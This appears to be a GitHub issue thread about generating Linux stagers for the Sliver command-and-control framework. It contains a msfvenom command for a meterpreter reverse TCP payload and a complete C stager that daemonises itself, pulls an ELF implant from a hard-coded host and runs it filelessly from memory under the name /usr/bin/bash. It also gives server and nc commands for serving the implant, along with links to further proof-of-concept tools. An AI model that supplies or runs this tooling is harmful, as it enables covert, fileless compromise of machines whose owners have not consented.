How to generate stager on linux?
Hello: The linux implants is about 13M, I want to generate stager on linux. I have read the doc and generate the stager on windows successfully,but I dont find any info about linux, how can I reduces the size of the payload on linux?
info
[*] Client v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df - linux/amd64
Compiled at 2024-02-29 03:46:53 +0800 CST
Compiled with go version go1.20.7 linux/amd64
[*] Server v1.5.42 - 85b0e870d05ec47184958dbcb871ddee2eb9e3df - linux/amd64
Compiled at 2024-02-29 03:46:53 +0800 CST
command
generate stager --lhost 127.0.0.1 --lport 8443 --protocol https --save /tmp --format c --os linux
error
[!] Error: rpc error: code = Unknown desc = linux is currently not supported - Please make sure Metasploit framework >= v6.2 is installed and msfvenom/msfconsole are in your PATH
log
INFO[2024-07-04T10:07:56+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK
ERRO[2024-07-04T10:09:04+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown
ERRO[2024-07-04T10:09:57+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown
ERRO[2024-07-04T10:10:41+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown
ERRO[2024-07-04T10:15:14+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown
ERRO[2024-07-04T10:18:50+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown
INFO[2024-07-04T10:24:18+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK
INFO[2024-07-04T10:25:49+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:220] finished unary call with code OK
ERRO[2024-07-04T10:29:42+08:00] [github.com/grpc-ecosystem/[email protected]/logging/logrus/options.go:224] finished unary call with code Unknown
Same, even after trying with
profiles new beacon --mtls 192.168.12.233:80 -o linux --arch amd64 linux64_profile
stage-listener -u tcp://0.0.0.0:443 -p linux64_profile -P
mtls -L 0.0.0.0 -l 80
And generate the stager via msfvenom
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.12.233 LPORT=443 -f elf -o met123.elf
Executing the stager results in segmentation fault, but tcpdump shows the initial connection, then it segmentation faults after
We don't have a shellcode/stager version in the framework for Linux, I recommend using LD_PRELOAD and memfd (there's a lot of examples online how to do this) to load over the network directly into memory on Linux.
Does this mean sliver cannot handle Linux meterpreter shells or linux reverse tcp shells?
Sliver is not compatible with meterpreter's Linux stager, no.
Not sure if anyone will find this useful, but here's an example of a minimal linux stager over TCP:
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <unistd.h>
#define ELF_NAME "/usr/bin/bash"
#define HOST "192.168.45.199"
#define PORT 80
int
main(void) {
pid_t pid = fork();
if (pid < 0) { return 1; }
else if (pid > 0) { return 0; }
if (setsid() == -1) { return 1; }
pid = fork();
if (pid < 0) { return 1; }
else if (pid > 0) { return 0; }
if (chdir("/") < 0) { return 1; }
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
int fd = open("/dev/null", O_CLOEXEC | O_RDWR);
if (fd == -1) { return 1; }
dup2(fd, STDIN_FILENO);
dup2(fd, STDOUT_FILENO);
dup2(fd, STDERR_FILENO);
if (fd > 2) { close(fd); }
int return_value = 1;
int sd = socket(AF_INET, SOCK_CLOEXEC | SOCK_STREAM, 0);
if (sd == -1) { goto ERROR; }
struct sockaddr_in sa = {0};
sa.sin_family = AF_INET;
sa.sin_port = htons(PORT);
if (inet_pton(AF_INET, HOST, &sa.sin_addr) < 1) { goto ERROR_SD; }
if (connect(sd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
goto ERROR_SD;
}
uint32_t elf_size = 0;
if (recv(sd, &elf_size, sizeof(elf_size), 0) != sizeof(elf_size)) {
goto ERROR_SD;
}
elf_size = ntohl(elf_size);
uint8_t *elf_data = malloc(elf_size);
if (!elf_data) { goto ERROR_SD; }
ssize_t bytes_partial = 0;
ssize_t bytes_total = 0;
while (bytes_total < elf_size) {
bytes_partial = recv(
sd, elf_data + bytes_total, elf_size - bytes_total, 0);
if (bytes_partial < 1) { goto ERROR_DATA; }
bytes_total += bytes_partial;
}
int md = memfd_create(ELF_NAME, MFD_CLOEXEC);
if (md == -1) { goto ERROR_DATA; }
bytes_total = 0;
while (bytes_total < elf_size) {
bytes_partial = write(
md, elf_data + bytes_total, elf_size - bytes_total);
if (bytes_partial < 1) { goto ERROR_MEMFD; }
bytes_total += bytes_partial;
}
char *argv[] = {ELF_NAME, NULL};
char *envp[] = {NULL};
if (fexecve(md, argv, envp) == -1) { goto ERROR_MEMFD; }
return_value = 0;
ERROR_MEMFD:
close(md);
ERROR_DATA:
free(elf_data);
ERROR_SD:
close(sd);
ERROR:
return return_value;
}
- Compile the stager:
$ gcc -static stager.c -o stager
- Start and configure the sliver server:
$ sliver-server
$ profiles new -a amd64 -b 192.168.45.199:443 -f exe -o linux linux_64_exe
$ profiles generate -s . linux_64_exe
$ https -L 192.168.45.165 -l 443
- Format and serve the implant:
$ printf "%08x" "$(stat --format '%s' DISABLED_ABROAD)" | xxd -p -r > DISABLED_ABROAD_staged
$ cat DISABLED_ABROAD_staged | nc -lvp 80 -s 192.168.45.199
- Execute your stager:
$ ./stager
I take a look the codes and found why, It just because go-donut library doesn't support such stuff. : (
Edit: go-donut lib is for windows and dotnet windows only. Not applicable for linux.
Looking forward to adapting to Linux
Its simple to get it. my poc is available here.
https://github.com/Esonhugh/sliver-stage-helper
It based memfd-exec and I implemented it in short shellcode format. In the other way, this kind of support for staging can be implemented without changing the source code of sliver server.
I even changed the keystone engine (which is the assembler of shellcode) from cgo one to pure go one.
Its simple to get it. my poc is available here.
https://github.com/Esonhugh/sliver-stage-helper
It based memfd-exec and I implemented it in short shellcode format. In the other way, this kind of support for staging can be implemented without changing the source code of sliver server.
I even changed the keystone engine (which is the assembler of shellcode) from cgo one to pure go one.
Thank you for your contribution
you can look this url https://xeldax.top/article/linux_no_file_elf_mem_execute#%E4%B8%80%E7%A7%8Dgolang%20elf%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0
you can look this url https://xeldax.top/article/linux_no_file_elf_mem_execute#%E4%B8%80%E7%A7%8Dgolang%20elf%E5%86%85%E5%AD%98%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0
good ~